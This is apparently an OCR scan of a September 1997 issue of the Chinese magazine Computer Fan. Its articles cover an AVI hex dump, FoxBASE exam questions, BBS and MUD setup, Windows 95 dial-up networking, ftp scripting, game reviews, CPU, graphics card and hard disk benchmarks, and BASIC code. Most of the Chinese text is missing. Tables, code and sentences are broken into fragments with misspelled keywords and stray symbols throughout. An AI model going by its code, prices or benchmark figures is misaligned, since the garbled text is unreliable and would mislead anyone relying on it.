00000050 00 00 00 00 00 00 00 00 4C 49 53 54 92 00 00 00 O0000000usT OO0
00000060 73 74 72 6C 73 74 72 68 38 00 00 00 76 69 64 73 strlstrh8 (][] vids
00000070 63 76 69 64 00 00 00 00 00 00 00 00 00 00 00 00 cvid O OOOOOOoOodoQo
00000080 6B 04 01 00 40 42 OF 00 00 00 00 00 68 00 00 00 KOO0eBOO00O0O0OnEOOO
00000090 9A 46 00 00 4C 1D 00 00 00 00 00 00 00 00 00 00 sFO0LO00000O00O0000O
000000A0 40 01 FO 00 73 74 72 66 28 00 00 00 28 00 00 00 @ [J* Oserf(O OO OO
000000B0O 40 01 00 00 FO 00 00 00 01 00 18 00 63 76 69 64 @ OO dOOOddevid
000000C0O 047400 00 00 00 00 00 00 00 00 00 00 00 00 00 ddOOOOdooooooood
000000D0O 00 00 00 00 73 74 72 6E 15 00 00 00 4C 49 42 47 O000strmO00OOLIBG
000000EO 41 54 45 2E 41 56 49 20 56 69 64 65 6F 20 23 31 ATE. AVI Video #1
000000F0 00 00 4C 49 53 54 82 00 00 00 73 74 72 6C 73 74 OOLIST OO strlst
00000100 72 68 38 00 00 00 61 75 64 73 00 00 00 00 00 00 rh8 0 Hauds OO
00000110 00 00 00 00 00 00 00 00 00 00 01 00 00 00 22 56 Oooooooooooooany
00000120 00 00 00 00 00 00 92 76 02 00 00 80 00 00 00 00 OooooO voooooood
00000130 0000 01 00 00 00 00 00 00 00 00 00 00 00 73 74 0 o o YY
00000140 72 66 10 00 00 00 01 00 01 00 22 56 00 00 22 56 offOO0000000vaov
. 54. R A A 1997 9.




00000150 00 00 01 00 08 00 73 74 72 6E 1E 00 00 00 4D 69 O0O000Ostrn - OOOMi _
00000160 63 72 6F 73 6F 66 74 20 57 61 76 65 66 6F 72 6D crosoft Waveform —
00000170 3A 20 47 47 41 54 45 2E 57 41 56 00 4A 55 4E 4B : GGATE. WAVJJUNK *hdrl”
00000180 70 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000000000
000007F0 00 00 00 00 4C 49 53 54 48 DE 10 00 6D 6F 76 69 OOOOLISTH * OO movi
00000800 30 30 64 62 83 21 00 00 00 00 21 83 01 40 00 FO oodbf! OO OO f@ O *
00002980 B7 OF 88 88 89 BT 70 OF OF 6F 66 00 30 30 64 63 % O™ %o > pOOof[I00dc
00002990 46 23 00 00 01 00 23 46 01 40 00 FO 00 02 11 00 FO000#F0e@ OO0
00004CDO 79 8C FB A4 FB DC C4 A0 E1 A0 30 30 64 63 46 23  yOE * * (00dcF#
00004CEO 00 00 01 00 23 46 01 40 00 FO 00 02 11 00 12 20 O00O0O#F0e O 0000
000E6F80 80 5D D8 C6 D8 D8 00 00 00 00 30 31 77 62 00 80 0] OOOOoiwbdO
000E6F90 00 00 81 81 81 81 81 81 81 81 81 81 81 81 81 81
OOoO0OooOoooooooooad
000EEF90 7A 7A 30 31 77 62 00 80 00 00 7B 80 87 85 84 80 zz0lwbO OO0 {OO000
00640040 82 83 7E 7D 69 64 78 31 DO 06 00 00 30 30 64 62 LT~ Jidx1* OOO00db
00800050 10 00 00 00 04 00 00 00 83 21 00 00 30 30 64 63 00000000 ddoode
00960060 00 00 00 00 90 21 00 00 46 23 00 00 30 30 64 63 OOO0O0O OOF#0000de
0010ECCO 00 00 00 00 2A 44 OE 00 5C 23 00 00 30 31 77 62 D000 * DOO\#O01wb s
0010ECDO 10 00 00 00 8E 67 OE 00 00 80 00 00 30 31 77 62 O0O000e0000001wb
0010ED10 10 00 00 00 AE 67 10 00 92 76 00 00 OoOo0O* 00 vaod
1. 00000000 ~ 000007F3 Windows
AVI
LIST
“ AVI 00000000 ~ 00000003 RIFF
v v 00000004 ~ 00000007 10ED1Ch — 38
o n 00000008 ~0000000B  AVI
0000000C ~ 0000000F LIST
n 00000010 ~ 00000013 LIST 168h
" 00000014 ~ 00000017  hdrl
LIST “
" 00000018 ~0000001B  hdrl avih
LIST
LIST 00 0000001C ~0000001F avih 38h
LIST 01 00000020 ~ 00000023
AVI 1046Bh 66667
AVI 0.07
" 15
(F4:)
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1997 F 4Bt A% & %K

FOXBASE( =% )

O]
11 15 FoxBASE
70 21.43%
1.
LEN("1234") TYPE("1234")
"1234" 1234
( ) LEN()
TYPE FILE "
") TYPE(" ")
o " [1) TYPE
([1234]) "7 LEN("1234")
C "1234"
4 TYPE("1234")
N 1234 N
(43) TYPE([12] + [34])
(AN (B)C (C)1234 (D)
A TYPE([12]+[34])  TYPE
([12341) TYPE([]) 1234
N
(48) LEN('ABC’ - 'ABC’)
(A0 (B)6 (C)7 (D)3
C LEN('ABC’ —-'ABC’) LEN(’
ABC ABC')( "-"
'ABC’ - 'ABC’ 'ABCABC) '
ABC ABC’ 7
2.
(28)

Computer Fan 1997 .9.

£ KA

(A)'1234' -’43’ (B)’ABCD’ +'XYZ' =
'ABCDXYZ'  (C) DTOC(DATE()) '04/05/09'
(D)CTOD('04/05/97")

AB C
D
(42) X=2Y=5

(A)?X=Y-3

(D)X +3=Y
ccC Y X Y
A B

(B)2Y-3=X (C)X=Y

FoxBASE

5 8 FoxBASE

11.43%
(41) FoxBASE

(A) EDIT
MODIFY

(B) CREATE
(D)MODIFY FILE
D A B
C D

FoxBASE
8.57%

(45) B (33) B

70

FoxBASE

(&)

70

.57,



BOT() . T. EOF() (36) 10
CT. 5 SUM
NEXT N
(35) (A) (B)
C
(45) RECNO() (C) 5 (©) 6
(A) (B)L (C) (D)0 (39) 90
(33) 10
1 SKIP -1 ?7RECN () (A) LSIT FOR =’ =90
(A)0 (B)I (C)=1 (D) =60
(35) 20 (B)LSIT FOR =' 90 60
10 LIST NEXT 5 (C) LSIT FOR = " . AND.
(A)10  (B)15 (C)14 (D)20 90. AND. =60
(D) LSIT FOR =" ' _ADN.(
90. OR. =60)
9 16 FoxBASE (13) STD. DBT
70 22.86% 1995 2
1995 7 CT. HG. DBT
1. . USE STD
CNDL M .LIST
CNDL M ( Record# i
1 11001 70 80 .F
) -DBT 2 11005 95 78 .F.
(24) C 3 11017 60 40 .F
M 4 11083 90 60 .F
5 11108 58 67 .F
-DBF . DBT (8) . REPLACE 19 FOR =60. AND. =60
8 RENAME GZ. DBF TO AB. DBT 9 . USE HG
RENAME GZ. DBT TO AA. DBT ﬁPSPT END FROM STD FOR_20 _
(24) 3 USE
19 WITH. T.
(A)3 (B)2 (O)1 (D)10 20
(8) FoxBASE
DZ. DBT AB. DBF
19 WITH
8 9
2.
=.T. 20
(36)'
=.T.
DISPLAY DELETE RECALL REPLACE
8 25 FoxBASE 70
SUM
35.71%
B
39)’ > ¢
(39) ) 3
. AND. . OR. A B
AND OR )
’ ’ ’ ’ set talk off
D clear
. 58. W, 5 & AT E 1997 9.



store 1 to x
store 20 to y

do while x <=y
if int(X/2) < x/2

x=1+x"2
y=y+l
loop
else
X=Xx+1
endif
enddo
7x
7y
set talk on
return
X Joy u
INT(X/2) <> INT(X/
X <y X/2 X 2) < X/2X

1 X Y X=1+X2|Y=Y+1 X=X+1

2 1 20 2 21

3 2 21 3

4 3 21 10 22

5 10 22 11

6 11 22 122 23

122 | 23
10 122. 00
11 23. 00
(12)
(
2500 )

* % % MAIN. PRG * * *
set talk off
tax =0
use gz
do while . not. eof () & & (1)
shfgz = & & (2)
dosub_16
7tax
replace with tax & & (3)
17
enddo
use
cancel

* % % SUB> PRG* * *
18

x=0

do case

case a> 800. and. a <1300
x=(a—-800)*0.05

Computer Fan 1997 . 9.

case a> =1300. and. a <1800
b=a-1300
x=b*0.1+500%0.05

case a> =1800. and. a <2300
b=a-1800

x=b*0.15+500%0.1+500% 0. 05

case a> =2300

x=b*0.2+500%0.15+500% 0.1 +500% 0. 05

endcase
return
(H
(3) TAX
17
SKIP
A
X 18
PRRAMETERS A, X A X
DO SUB
DO SUB WITH 1 2 1 2
A X (2)
SHFGZ 1 SHFGZ
(3) TAX 2 TAX
16 WITH SHFGX TAX
16 WITH SHFGX TAX
17 SKIP
18 PRRAMETERS A X @
.59.



http: //www. cfan. cn. net

L]
Manager
Menus Chinse o s s s s +
RA : Super BBS! II
Menu Insert I (M) (L) I
() (D) '
. I I
Action ( ) o e e el __ +
Menu Action Groups
ESC Super BBS!
ESC Display text — files BNU. com
40 Display . ANS/. ASC file with menu RA  Modem
HotKeys (Type 40) , OptData COPY RA
Mainmenu AutoExec RA
ESC insert Modem 1 .
Action o Terminate Call BNU /pl /r: 4096 /t: 4096 /F +
(logoff) Hotkey ‘o Lo BNU /I1 + /X
“ o mowpros o
L ) RA. exe
Action: List files in file area(Type 31)
OptData: /f /t L (Local
HotKey: L ),
AutoExec: No Main-
“ D" ( )
Downlaod (send to user)files (Type 32) menu
OptData: /f
HotKey: D
AutoExec: No
“M: ( ) RA RAMGR. exe Files
Action: Post a new message (Type 27) Insert
OptData: /M )
HotKey: W ’
AutoExec: No
BBS
ESC BBS Super BBS
Mainmenu !
DOS RA\
TEXTS
BBS
“ " BBS MUD
mainmenu. asc !
BBS R <
. 60. W RS 1997 9.
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# NI HR

O

MUD
MUD ?
MUD (Multiple User Dimemsion/Dun-
geon/ Dialogue)

MUD
RPG ( )
MUD GAME
OVER
RPG
MUD
? MUD RPG
MUD SAVE
LOAD
RPG
NPC( )
AI( )
“ Hello”
MUD
MUD
MUD
( MUD )
TELNET
MUD P PORT( )
P PORT
MUD P
207.76.64.2 PORT 5555
MUD
MUD

1
THE QUEST OF ORIENTAL CHIVALRY
— MudOS v21 -
< Dec 11, 1995>

Computer Fan 1997 .9.

< Dec 11, 1995>

<http: //www. ee. ubc. ca/ ~ weee/
xiake /xiake. html>

email Xiang (tu @ al-
bert. uwinnipeg. ca)
0 21 1
XXXX
XXXX
(player)
( )
MUD
(
)
ASK( ) BUY( ) EAT( ) FIGHT( )
KILL( )
LEARN( ) SAVE
QUIT HELP + < >
EAT CHI LEARN
XUE
MUD NPC
WHO
©)
(Bbs)
(Liujun)
(Silk)
(Sage)
== 82% = = (ENTER q
b )
(Longer)
(Ruanm)
23 3.38
cmds/s, 12.68 comp lines/s
( 10000
)
“ SHOUT”
TELL + < >
MUD
96
.61.
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Modem

Windows NT NetWare Unix
Modem
Modem
Windows95 ?
Microsoft

Windows95 Plus!
DUN (Dial Up Networking) Server

Windows95

Client
1. Control Panel Modem
Modem
2. Control Panel Network

Dial — Up Adapter

IPX/SPX NetBEUI

Windows Setup

Communications

TCP/IP
3. Control Panel

Add/Remove Programs
Windows95
Dial — Up Networking

Server 4. Windows Explorer Dial — Up Network-
ing
1. Control Panel Modem Server
Modem Server
2. Control Panel Network Internet
Dial — Up Adapter TCP/1P
IPX/SPX NetBEUI  TCP/IP TCP/1P
3. Control Panel Network I- NetBEUI  IPX/SPX
dentification
Configuration File and Print Sharing Network
Neighborhood
4. Server Share
Usename Password Client
User Start Run \\
Server \ Share
5. Plus! DUN Server Windows95
( WinPopup
Sharing)
7. Dial — Up Server Allow caller access ©
1. Westwood

PK( )
Player Killer (
)
MUD
RPG MUD
MUD
.62,

http: / /www. westwood. com
2. MAXISM
http: //www. maxism. com
3. Microprose
http: / /www. microprose. com/
4. Access
http: //www. access. com
5. Activision
http: / /www. activision. com
6. DID
http: //www. ef2000. com
7. Accolade

0l

http: //www. accolade. com
8. kesmai

http: / /kesmai. com

9. SSI

http: //www. ssionline. com
10. Starwave

http: //www. starwave. com
11. ID Software

http: / /www. idsoftware. com

W EAF A 1997 9.
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UNIX/XENIX R& T8 ftp IEZOIEAERDE

[
UNIX/ XENIX
TCP/IP ( fip telnet ) ftp (client host)
ftp
ftp ftp
ftp>
ftp ftp
ftp PC2
ftp sh W140901 W140901
/usr/qgydhdO1 /data /usr/qgyd-
fp hd02 /data PC2 qgydhdm
fp qgydhdm abedef shell
shell put. sh
shell cd/usr/ qgydhd /data0l
ftp —n PC2
user qgydhdm abcdef
ftp ascii
ftp [ —dgintv] cd/usr/qgydhd /data02
put W140901
-d colse
-g globbing quit
—i PC2
-n put. sh
i W140901 ®
] [ ] 1
[3F TXT §& EXE TE#A E - mail BIDX 5L M0z
|
E — mail
E — mail ) E — mail
“ “ TO MAIL” “ MAIL TO”“ SUBJECT”
" “ " " ATTACHMENT ( ) ATTACH FILE
“ " LETTER. EXE E — mail
( “ PLEASE RUN LETTER. EXE IN DOS MODE”
) TXT EXE SEND
CCED WPS EDIT LETTER. EXE DOS
LETTER. TXT VTTE ( ()
) TXT2EXE
LETTER. TXT LET-
TER. EXE ( VTTE ®

Computer Fan 1997 .9. .63.



PLAY
RPG
* % FULLOUT
DEATHMATCH MAKER
QUAKE 1950 “
VIRTUS »
DEATHMATCH MAK-
RPG
ER DM
ID SOFT
45
QUAKE
DIABLO
ID
X - COM
DM
QUAKE
DM WINDOWS 95
50 4 L
EENE
51 2.
£ 47 . INTERPLAY /3]
: | 5 E7.1997 -9
| == 4' 4, *
- 5 —
e (WS 515 15 Yob Frah & .
DM 10
95 7
10 2
3D 2D
DM 2
8
30 WIN95
#)4E . VIRTUS 2 3]
Ei.e kW 4
* %

RAT: KF N8
E7.1997 -8
(k7w %)

Computer Fan 1997 . 9.
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3D
3D
2
45
/@ DOOM2 QUAKE
RNTF-2 B £
] kigt - 2

“ START GAME”

. 66. Wl AF A 1997 . 9.
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3
- POD
I
UBI SOFT
Win95
MMX
97 120 90 3D 16M
400
97
Il
16 17
— ®
C Ry
&

. 67.



17

C&C !
? NO! ! , AL

c&cC ? NO!
! , GAME,
GAME ——
(LIVE OR DEAD)
C&C ,
GAME

s

640X480 — 1024X768
3D

>

1]

C&C : Pentium75 8MB 2 CD

s s : Pentium120 16MB 4 CD
N s : WINDOWS95
N R IPX 8 , MODEM , Serial

L RARAHZI, (ARZR)RZEE
LW (8 A208 ), KAMEXHEELEES KR ELABEINMTE

, ,, EIF¥E 7 PC GAME H £ R &%

(o X)MHEGLENRRALE S

i , # %%, 94, B 7 PC GAME Ei%
R AR, AR AN A A
BERE L IFEH, KKK

LB L AR ) ©

. 68. W EAF A 1997 9.



VIE IPC . ,, @’%@

I ﬁ’%

O

ME —— ' ’ ﬁ “

GAME

GAME

? OK COME ON
EHA T

Computer Fan 1997 . 9. . 69.



P133/16M/1GB/2MB

—db® EA
A MDK
32M
16M
“ SMARTDRV”
——* SMARTDRV"
DOS BUG
WINDOWS 95 — WIN-
Q KKND P75/8M/8X/640M DOWS 95 MDK* "
——4 8 AR Q v
A KKND 16M — XX £
Q ‘ .
—— &
A “ . 1 —idh 2R
Q
24 “ .
—|mE R ,, ”
A “ “ .
Q: MDK “ "
Knight
CC\ MDK  DOS @
NS 2
PCTOOLS “ 64 00" 16
“ 64 00” HP 1
10 16 DISP135 246
“1C HP 1
6 HP 6 DISP430 2
DISP29
11 “ AC 9
26" DISP213 324
(9 KK ) 2
ﬁ H“j‘ ,;‘JS: %ifi'{%'i/}é H DISP508 3 107
UJ* . SAV(*
1~10) 0 DISP352 371 00 00
HP MP ST AP
DISP360 ~ 361 366 ~ 369 6 6
2 DISP463  DISP474 00
HP MP ST AP DISP471 ~ 472 DISP479 00 00 00 00 00
DISP484 2
(xR )
.70. W F A A 1997 9.
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NP ERAERALRETEN

L]
MMX
INTEL CPU
1 9 MMX
MULTI MEDIA EXTEND P55C
MMX INTEL
CYRIX AMD
M2 K6 57
MMX
MMX CPU INTEL II CYRIX
6X86MX M2 ) AMD Kb
150MHz  300MHz
MMX MMX CPU
5% —12% ( 11 )
P54C L1
CACHE (P55C 32KB,
K6 M2 64KB ) MMX
MMX
CPU

PHOTO SHOP4. 0, XING 3. XX, MS
ACTIVE MOVIE 2. 0UBI SOFT POD, n MOTOROLA
SOFT MODEM , YAMAHA SOFT WAVE TABLEXG
SOFT SYNTHESIZER, MS PICTURE IT

MMX
P55C 166MHz K6
233MHz P54c 166Mhz CYRIX
6X86 —P166 +
ASUS TX -97E, 32MB

SDRAM MATROX MILLENIUM 4MB SEAGATE
32151WC FAST WIDE SCSI-2 2.0GB , OS: WIN-
DOWS 95 OSR2 ( MMX) 1

MMX CPU
P55C 166 MHz CPU

LT2.

1

CPU SPEED 2| WINBENCH 97| PC BENCH 9. 0
*1 *2 *1 *3
Pentium 166MHz MMX 1108 | 377 372 392 108
AMD K6 233MHz 2380 | 450 540 477 201
Pentium 166MHz 958 320 330 346 98
Cyrix 6x86 — 166 + 1598 | 317 334 370 101
* 1: dos mark 16 * 2: dos mark32 * 3:16 Bit Larsemix
2X00 K6 M2
) CYRIX
M2 P55C 100
INTEL
CPU AMD
CYRIX
MMX 1998
I SOLT
M2 Ko6 (
) CPU
CYRIX6X86L —
P200 + MMX CPU
X
MMX CPU
M2 K6
P54C  SOCKET 7
MMX CPU VRM
2.X
83MHz
MMX CPU(
INTEL HX VX
MMX CPU )
ASUS P55T2P4
> 3.0
MMX CPU
I
CPU
INTEL
R VIA

W E EAF A 1997 . 9.



INTEL TX

INTEL !
TX  INTEL
MX P54C CPU

HX VX

X HX VX

PGA (HX )

(DPMA)

(MODEM)
(STAND -BY MODE)
MODEM
CPU .

), CPU
30%
TX MMX CPU
TX SDRAM
VX 6-1-1-1 5-1-1-1
256MB VX )
TX
MMX CPU HX VX  Triton II

TX

INTEL QUANTUM ULTRA DMA /33
FIREBALL TM ST
( )
PII X 4
33MB/
SEAGATE QUANTUM
ULTRA
DMA /33
TX -97

A - OPEN AP5ST , AXS5T( ATX ) P/
I58KTX QDI - PSI430TX, MS -5145
, ATC -5000, ATC -5020 (ATX )

TX

CPU
CPU

X

Computer Fan 1997 .9.

2D vs 3D

2D
3D

3D

DOS WINDOWS
2D 3D

3D

3D 3D
5%

3D

2D
3D

2D 3D
2D S3

64V +
TRIO 64V + )

TRIO
S3 765 (

S3 775 ( TRIO 64V2 )
S3 775 765
175MHz  RAM-

DAC 4MB

Tseng ET6000
ET6000
DOS 2D 2D
128
MDRAM
( 100 )

MDRAM
ET 6000

P166 X/
!

DSV3365V2 CARDEX ) S3 775

.73.



T

A-TREND ) ATC- 2165 A MEGA - STAR )
KT - 6000 CYRIX 6X86L-P 166+ A-
SUS P55T2P4 32MBEDO -60ns SEAGATE 2.1G  OS
MS - Windows 95 OSR2 2 ’
2
WINBENCH 97
HI -END | HI-END BG | BG WINMARK
CAD/3DG | WINMARK 97 97
DSV 3365V2 | S3 TR10 | 2MB EDO | 1600 x 1200 23.9 2 58 56 ’
64V2 DRAM 3 XX
CARDEX S3 TR10 | 2MB EDO |1600 x 1200 23 5 25 56. 2
$3 775 64v2 | DRAM 8
A - TREND 2.25MB |1600x1200| . ) -
ATC - 21654 | ET 6000 | MDRAM 8 21 -
MEGA - STAR 2.25MB (1600 x 1200 | o« 5 = o
KT-6000 | ET=0000 | yipRam | g 25.6 2.59 579
1. BG = Business Graphics * ”
2.83775 KT - 6000 WINBENCH 97 CIW TEST LAB
3. 1024 x 768 8bit
16MB.
3D , 16MB
S3 ViRGE S3 ViRGE/GX 3D .
LABs 3Dfx Voodoo VX X SDRAM(
) VX TX
b S—_— 72 168  SDRAM
S600 DSV3988 s3 ViRGE TX SDRAM
ViRGE/ VX ViRGE/VX( 988 )
ViRGE (325) VRAM ( VRAM
: ViRGE 72 168 ;
ViRGE  VIiRGE /VX S3 765 EDO
(64V+) 2D 3D, 2D SDRAM
b SDRAM
1000 ( 72 5V ),
3D , 72
WINFAST S600 DSV 3325P DSV 3988 : !
; 2D 3 ’
, 1.2G
?7’ E) b
0
2G , QUANTUM SEA-
3
WINBENCH 97
_u» HI-END | HI-END | BG WINMARK
2D 3D 4G WINNMARK | CAD/3DG 07
, 97
2MB EDO | 1600 x 1200] . ,
3D WI?;’SST S3 ViRGE | DRAM 8 24. 4 2.56 51.1
2D DSV 4425P | $3 ViRGE | 2MB EDO| 1600 x 1200/ 5, 2.57 51.2
D DRAM 8
DSV 3988  |S3ViRGE/VX v4RMA]?v1 160;)(;( 12000, - 56 [

.74.
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GATE MAXTOR ; IBM SUMSUNG

Creative
5
s A — OPEN
QUANTUM BIGFOOT 1.2G, BIGFOOT CY 2.1G,
FIRE BALL 2. IGSEAGATE ST 32140A MAXTOR
82560A. ( FAST ATA -2 ;
DOS : MS -DOS 6.22, WINDOWS
MS — WINDOWS 95 OSR2) . Pentium 166,
ASUS P55T2P4, 32MB EDO - 60ns, WINFAST ’
S600(S3VIRGE), 4 256K
4
Quantum Bigfoot Maxtor
Seagate | Bigfoot CY | Fire ball | ST 32140A 82560A
1.2G 2.1G 2.5G 2.1G 2.5G
RPM 3600 3600 4500 5400 5400 ,
128K 128K 128K 128K 256K ,
NORTON 14.13 | 121 9.12 10.9 9.7 ’
8.0 .
21.2 23.8 25.1 24.2 24.9 )
WIN *1 536 581 631 2495 897 ,
gf NCH |- 2 1640 1975 2410 2475 2640 ’
Q- Ben 4120 | 4700 5320 4720 5690
ch 1.3 KB /Sec)
* 1 = BWINMARK 97 % 2 =HI — end WINMARK 97
s (RPM) Creative Sound Blaster
, ESS .
s ( Sound Blaster)
R Sound Blaste AWE 64 Gold
> CPU + Sound Blaster SE32
2 2X X 5
92 5
( ) 12 RAM 3D CD -ROM
, SB SE16 PnP | FM v - 20 x -
800K /SEC, SB SE32 PnP | WAVE| V/ - 32 vV -
, SB AWE64 | WAVE| V | 512K| 64 vV IDE
CPU ) SB AWEG4 Gold| WAVE | V' | 4MB | 64 Vv IDE
530PDW | WAVE | V/ 32 vV IDE
530PD | FM vV - 20 VvV IDE
’ @
.75.
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RATECAF W) A7

L]
1997.8.7)

CPU  CY P166 + 620 CY P150 + 500
CY P200 + 800 AMD K6 -P233 4000
AMD K5 -166 800 AMD K6 -P166 1250
IN 166 1350 IN MMX 200 2100
IN 200 1400 IN MMX166 1400
16M EDO 410 32M EDO 800
16M 168 500 32M 168 930

MS -5128 880 MS -5143 900
TX97 1280 TX 1080
2007TX 1080 2006 760
HX 930 TX 1220
3.2G 1950 2.1G 1520
SEA 1.7G 1210 SEA 2.1G 1320
1.7G 1230 2.1G 1320
1.2G 1060 1. 6G 1180
8 x 490 4 x 360
NEC 4 x 360 TEAC 6 x 480
8 x 570 16 x 780
9685 240 ET6000 550
9680 150 97 320
3D 125 145
90 100
157 1800 15S 2300
PHILIPS 14A 1650  PHILIPS 15A 2350
DC20 2100  DC50 5900
QV100 5400  QV300 6500
\ 1 2 3
UCDOS WIN95
CAXA Visual FoxPro Visual Basic
6.0
MIS MIS Quick MIS +
KV300
/
IN-
TEL
.76.

40% 1000
INTEL 3 9
1 AMD
AMD CYRIX
SOCKET 7 AGP INTEL
SOCKET 7 K6 M2
INTEL AMD K6
40% INTEL 25%
Ko
INTEL
7 28
5.5 CYRIX
CYRIX
M2
INTEL7 28
8 5 CPU
CPU
DRAM FPM
EDO
SDRAM RAMBUS DDR SYN-
CLINK DRAM 168 SDRAM
EDO MMX CPU
“ " SDRAM
PC IN-
TERNET
12 16
24
— SMART 100X
650 “ "
100 15MB/S
AMD IN-
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0y

O

— WAL 97

97"

OK

MTV

97( “ 97")
2.0
486
. 97"
VCD
97"
486DX100 CPU 4MB
8MB CD - ROM WIN3. X
WINO5 586,/100 CPU 8MB 16Bit
. o7
97"
WIN3. X
WINO5 VCD CD-ROM * 97"
VCD
!
97"
VCD
97"
TEL K5 K6 CPU
INTEL P-
RATING
70 ~ 100
SEA-
GATE

ENHANCED IDE
16. 6MB /S

JTS KARMA
5400RPM

5400RPM
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EE“IEH 97”ﬁ!"*[’ﬂ BHRPR

486/586 DOS Windows3. X Win95
N .
R . .
A
A
:”:ﬁ:/ ~ /7 %J%JH‘ji PR ">~ =)

100#(100088)
Tel: (010)62058177  Fax: (010)62058176

E - mail: incom @ public3. bta. net. cn
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Ko — 4

—BEHBRANEFA, RAE SR CH, ik
FW RS AR A o A A0 Ak e kAT AR AR Z)
Bz B He 0 FoF REL— S RIEL B RE A iEHE
BINA, — R EBRARBRET RO A G, EREEH LN
A B, RRER—HSHALGRBEIR S LRI A2k —
SOEH R, AR AR B REAZIL, A, AR
MESFTEAEN, TE—RBERFTERMRKRGERLE
ol h B — i ik B LA AR R — A SR S A
H) SN R

AZB.REFHE &AM

(hE+
B&.hf&—i %4

T )
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9 73 “ ” “

(7 XLAK)

C ? . IJ“E\‘“%% *”

!

COPY
!

” « ” “ ” “ for
next” “ while do” “ " “ CD -
ROM” !

?
586 96
.79.



MMX

!

‘XX

TX

( )
EZ.«hG&Thk

CPU

“ XX ” 9

"N

(#Hd RF)

(#d  Skyong) F %‘Kit“—f%;’vi‘i”%%ﬂ-&;\i

DE:AFA—MIL BARLA

. 80.

(L& k)
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35
1 1
2 4 1 “ "
3. 1 Pho- 48
toshop

4 2 100081
5. 2 E — mail: cfan @ netchina. co. cn

97

“ DIR”
~ -2 u
AT 4I5S

(x BEXR)

1. 8 “ 1997 7 50
“ " " “ 1997 8 51 "
E — mail (cfan @ netchi-
2. 7 81 16
na. co. cn) COAMS2A 417 Y aaS2A 417
3. 6 80 12
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?
CFAN
?
! 9 97
92 12
CFAN
?
CFAN
?
4. 60 X -
! 54. 2
! CFAN
7 “ AWARD |
BIOS "
7
: @ © @
s 10 97(07) @ @ @
©) “ /X
A A NI )
Ty BWHEIFR
WINDOWS
22 (100088)
(010)62049624 (010)62049621
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=a(i,2)+1:m=a(i, 1):b(d) =b(i)

IFa(i,2)+1=a(d,2) AND a(i, 1)> m THEN b(d) =b(d)

1997 6 o
END IF
NEXT i
6 IF a(d, 1) <a(n, 1) AND a(d, 2) =a(n, 2) THEN g=g+b
5000 (d):n=d
IF a(d,1) =a(n,1) THEN g=g+b(d) -b(n):n=d
IF a(d,2)> a(n,2) THEN g=b(d):n=d
C NEXT d
PRINT " Longest Length: " ; a(n, 2)+1, ” Total with this
@ 3 d(5000) 1(N) t(N) (N length: " 1 g
N<5000) d END
A v
) t( ) A v
d(N) (C dIN=-1]) 1 E E
N) =1 (N) =1 A ) v
1 1 1 t A ( 550005) v
=1 .. ¢ A ( 9.8 071000) v
A v
dlt E C ) « 5
d 10 8 9 4 5 3 2 A ) « ) v
! o 52 A (S «C v
4 5
® AL hERET HHAA RN, bA
d 5 3 5 3 B GG S AP A A B AF B A | 39599
1 3 2 1 3 2 1 LTy PC 413 =A%,
oo ot ! Pl of V45 EH A LA 100 TERAEZK,
0+1=1 3 FikFERRMERE—TK,
5 4 9 3 IF 6 RAZ B RIE ) KZIFHRMAL FF 4 didF ey
3 2 3 2 1 I, A A AR
1 1 1 1 1 1
1+1=2 3
N 1 1997 9
1 0 I>1 t A 59
t ¢ 4 (ZEAARE)
B
©) 1 (I=lna) ( i I
I =lmax ) t ( n
Basic n )
(x0, y0) R
OPEN " input. txt ” FOR INPUT AS #1
INPUT #1, k
DIM a(k, 2): DIM b(k) (1)
FOR i=1 TO k: INPUT #1, a(i, 1): b 2)
(i) = 1: NEXT i
n= k: g - 1 BITTER LILAC
FOR d =k TO 1 STEP -1 (3) 1997 11 4
FOR i=d+1 TO k 236 (630015) (4) 48
IF a(d, 1)> a(i, 1) THEN (02363609794 (100081) (
IF a(i, 2) + 1> a(d, 2) THEN a(d, 2) | E —mail: lilac@ public. cq. sc. cn 9 )
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5

‘ 5=3318]
| ky=sg div 71=6 s7=5y mod 71=294]
AT 6 IF) T 101°96 49 —if X T REAR 69 XA, X 2 0. .4 k= div 6l=4 i e Gl
R E R ARB IR, R REG AT AR EALE 0
CERY £ E I3 R B
1..3 A..C ky=s; div 41=2 sq=ss mod 41=13
8! =40320
a=sq div 31=2 sy=sy mod 31=]
( ) 320k 9573816 24) ks=s div 2/=0 s7=3; mod 21=1
(12345678) ka=sz div 11=1 51=5; mod 11=0
~A
- N = - B ki=si div01=0 mod 0}
4 a: s 4 ai, az, as, as, as, de, a7, ag (1 624573 8) B 2 el Lo
as ae az asg (1 2
34567 8—) B
40320 A
0-40319
1. (2114.213) (k|kg)
K ai ai (38 (123
264157)>01022046) 4567 8)
k a
2. so=0 si=sia+kix (i-1)! S (ki .k
i) Ss k ki <i S (123
i <(i-1)! si=sia+ki* (i-1)! <(1+ki) * (Qi- 45 6 7 8) (
! <i! sy <8! =40320 k ss=2ki¥ )

(i-1)!'=0%0+1%1! +0%* 2! +2% 3! +2*% 4! +0* 5! +
4%6! +6% 7! =33181

3. si si=siarkok (-1 s
<(i-1)! ki=sidiv(k-1)! si-1=smod(k -
1! S5 k s
#=33181  k [C]«
(
)
ECl-
a | e | 8 | &g ) 112[3[4] [BIB[5]F 1]7]e 4 5[2[6]8
1|3 | 83 » ( a),82,83,84,85,85,37,88 H?7|§| St 16 e 515
A5 | a; | a7 | 3
A
y

sy = Cky kakakkskekrks )

40320 3
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path
16M WINDOWS 95 path
15M ( )
16M
34M WINDOWS 95 AST DX2/66
WINDOWSS3. 2
32M
WIN-
22M- - 3IM bows  Setup
QEMM FOR 95 V300
COMS UCDOS5. 0
* MEMORY HOLE ’ MOUSE PS2 MOUSE DRIVER

M CAN NOT BE INSTALLED

CJ -1020

WINDOWS 95  DOS

WINDOWS 95
WINDOWS 95 “ " * LPTI”
WINDOWS 95
BIOS  CHIPSET FEATURES SETUP COMPAQ deskpro 486,66
LPT Port Address 378 F10
WINDOWS 95 * " “ LPT1” CMOS
COMPAQ deskpro
™ DOS
486DX /100 8M
DOS6.22  WINDOWS3. 2 CMOS
DOS DOS DOS
CDR 101 Not ready reading drive E
1.
2. F10
KV300 System
Configuration
Autoexec. bat Configuration Backup
Path E Create Back cup Diskette
1. 44M 3.
™ DOS
YES 4.
FDISK ( DOS
path ) 5.
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M & EARA B0 Rk KR, RBRMTHOERLERTEI, FR4EH, BNKBRMSTHEZD
RIEFACA, BAB A 50% A A0k R R K, @K — M B A6 T, AR B B S 9 S i
M, Mgl e B AR L A, EX 5 R A A F P, B R B ke fT F KA T Rk,

